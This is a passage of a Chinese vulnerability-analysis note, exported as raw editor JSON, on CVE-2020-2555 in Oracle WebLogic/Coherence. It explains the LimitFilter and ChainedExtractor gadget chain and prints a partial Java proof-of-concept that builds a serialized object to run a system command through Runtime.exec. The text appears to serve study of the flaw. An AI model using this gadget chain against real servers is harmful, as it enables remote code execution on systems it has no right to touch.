{&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eaLG-1673941101481&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fwee-1673941101480&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    StringBuffer sb = new StringBuffer(\&#34;LimitFilter: (\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FYof-1673941101483&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;s3ip-1673941101482&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    sb.append(this.m_filter).append(\&#34; [pageSize=\&#34;).append(this.m_cPageSize).append(\&#34;, pageNum=\&#34;).append(this.m_nPage);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oveD-1673941101485&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;d65M-1673941101484&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (this.m_comparator instanceof ValueExtractor) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PPoc-1673941101487&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DEeq-1673941101486&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ValueExtractor extractor = (ValueExtractor)this.m_comparator;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EX2K-1673941101489&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oQOY-1673941101488&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sb.append(\&#34;, top=\&#34;).append(extractor.extract(this.m_oAnchorTop)).append(\&#34;, bottom=\&#34;).append(extractor.extract(this.m_oAnchorBottom));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7S48-1673941101491&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QGnw-1673941101490&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } else if (this.m_comparator != null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XiJF-1673941101493&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tvRK-1673941101492&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sb.append(\&#34;, comparator=\&#34;).append(this.m_comparator);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qjOL-1673941101495&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WGQx-1673941101494&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8rSh-1673941101497&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jB2O-1673941101496&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OOFm-1673941101499&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Duae-1673941101498&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    sb.append(\&#34;])\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3WP6-1673941101501&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NTSs-1673941101500&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    return sb.toString();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;meIj-1673941101503&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Cqvv-1673941101502&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gfYD-1673937394396&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zhi8-1673937394394&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;传入的对象若是继承自ValueExtractor类则会调用其extract方法：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DBxM-1675754068447&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5532/WEBRESOURCE410ea4f018f89848f964e0af2b72033d&#34;,&#34;width&#34;:2178,&#34;height&#34;:1090},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/5532/WEBRESOURCE410ea4f018f89848f964e0af2b72033d&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2178,&#34;height&#34;:1090},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tFXm-1673937394581&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Cv8o-1673937394579&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;可利用的类不止一个，这里先看属于该cve的可利用类&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;com.tangosol.util.extractor.ReflectionExtractor#extract：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UMbb-1675754764485&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pm7c-1675754764483&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;构造方法：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VDIV-1675754769892&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5542/WEBRESOURCE6b10cc9b5066ee6b78da77424f8d4e35&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/5542/WEBRESOURCE6b10cc9b5066ee6b78da77424f8d4e35&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ANkN-1675754769898&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vxQ5-1675754769896&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;反射获取类方法并invoke:&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iFDp-1675754719648&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5540/WEBRESOURCEcd7f026bb6f873bb3338540136ebe1ac&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/5540/WEBRESOURCEcd7f026bb6f873bb3338540136ebe1ac&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gEtL-1675754203244&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sDtw-1675754203245&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;可以通过ChainedExtractor#extract(类似CC的ChainedTransformer)来连续调用extract方法：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ptHx-1675754952725&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5549/WEBRESOURCE17db3b3031f76ca394bec13ae17961de&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/5549/WEBRESOURCE17db3b3031f76ca394bec13ae17961de&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zAWc-1675754740706&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DG3w-1675754740705&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;而JDK &gt; 8u76后才会有toString用于触发:&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yRlM-1675756063255&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5556/WEBRESOURCE1ab147b23dd44131286f0e350678f47c&#34;,&#34;width&#34;:704,&#34;height&#34;:471},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/5556/WEBRESOURCE1ab147b23dd44131286f0e350678f47c&#34;,&#34;initialSize&#34;:{&#34;width&#34;:704,&#34;height&#34;:1300},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vHHL-1675756063256&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5557/WEBRESOURCEaa4f0770565d67cce7c6d353128a82c8&#34;,&#34;width&#34;:705,&#34;height&#34;:491},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/5557/WEBRESOURCEaa4f0770565d67cce7c6d353128a82c8&#34;,&#34;initialSize&#34;:{&#34;width&#34;:705,&#34;height&#34;:1382},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sDmn-1675756063238&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NonR-1673861449892&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;poc:&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FKyC-1675756209364&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Hu3L-1675756209260&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wUL7-1675756209259&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import com.tangosol.util.ValueExtractor;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UJZS-1675756280115&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hTVd-1675756280114&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import com.tangosol.util.extractor.ChainedExtractor;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9tSf-1675756280117&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1ut2-1675756280116&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import com.tangosol.util.extractor.ReflectionExtractor;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RCM0-1675756280119&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6nek-1675756280118&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import com.tangosol.util.filter.LimitFilter;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OPcY-1675756280121&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Somh-1675756280120&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import com.weblogcVul.CVE_2016_3510;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DlaS-1675756280123&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;K3QR-1675756280122&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import weblogic.corba.utils.MarshalledObject;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TXPZ-1675756280125&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RouQ-1675756280124&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RhLo-1675756280127&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4ZOx-1675756280126&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import javax.management.BadAttributeValueExpException;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JloH-1675756280129&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HZGg-1675756280128&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.io.ByteArrayOutputStream;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KMng-1675756280131&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;f66U-1675756280130&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.io.ObjectOutputStream;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xwhv-1675756280133&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;undZ-1675756280132&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.lang.reflect.Field;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LXy3-1675756280135&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wEEX-1675756280134&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.util.Base64;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cFv3-1675756280137&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tU0I-1675756280136&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;l8Ow-1675756280139&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gLMw-1675756280138&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public class CVE_2020_2555 {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NxSS-1675756280141&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Bo2o-1675756280140&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public static void main(String[] args) throws Exception {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;awLX-1675756280143&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wPwt-1675756280142&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        // 创建第一个Extractor Runtime.getMethod(\&#34;getRuntime\&#34;)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pLGv-1675756280145&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mXBW-1675756280144&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ReflectionExtractor reflectionExtractor1 = new ReflectionExtractor(\&#34;getMethod\&#34;, new Object[]{\&#34;getRuntime\&#34;, new Class[0]});&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PoC5-1675756280147&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rqwA-1675756280146&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        // 第二个Extractor getRuntime.invoke()&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ecXw-1675756280149&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vmBM-1675756280148&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ReflectionExtractor reflectionExtractor2 = new ReflectionExtractor(\&#34;invoke\&#34;, new Object[]{null, new Object[0]});&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Edhy-1675756280151&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4CSQ-1675756280150&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        // 第三个Extractor invoke(exec, \&#34;id\&#34;)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JZm6-1675756280153&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;V8et-1675756280152&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ReflectionExtractor reflectionExtractor3  = new ReflectionExtractor(\&#34;exec\&#34;, new Object[]{\&#34;touch /tmp/success123.txt\&#34;});&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PQvX-1675756280155&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vd2P-1675756280154&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//        ReflectionExtractor reflectionExtractor3  = new ReflectionExtractor(\&#34;exec\&#34;, new Object[]{new String[]{\&#34;calc\&#34;}});&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;od9Y-1675756280157&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xqtH-1675756280156&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;w1Eo-1675756280159&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mXVF-1675756280158&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ChainedExtractor chainedExtractor = new ChainedExtractor(new ValueExtractor[]{reflectionExtractor1, reflectionExtractor2, reflectionExtractor3});&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Ih2C-1675756280161&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UF4r-1675756280160&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;I06p-1675756280163&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mkI3-1675756280162&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        LimitFilter limitFilter = new LimitFilter();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;X67h-1675756280165&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;s7Pq-1675756280164&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        limitFilter.setComparator(chainedExtractor);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2y4f-1675756280168&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ui0f-1675756280166&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        limitFilter.setTopAnchor(Runtime.class);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SEGd-1675756280170&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dEeJ-1675756280169&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZVcd-1675756280172&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;So3P-1675756280171&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1fdM-1675756280174&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nr2B-1675756280173&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iRv3-1675756280176&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WnEz-1675756280175&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            Field field = badAttributeValueExpException.getClass().getDeclaredField(\&#34;val\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6Ghf-1675756280178&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Y3X5-1675756280177&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            field.setAccessible(true);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uPS5-1675756280180&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;diG0-1675756280179&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            field.set(badAttributeValueExpException, limitFilter);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QQVJ-1675756280182&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SbUf-1675756280181&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } catch (Exception e) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Re7u-1675756280184&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4hG0-1675756280183&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            e.printStackTrace();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gRvL-1675756280186&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zwVC-1675756280185&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        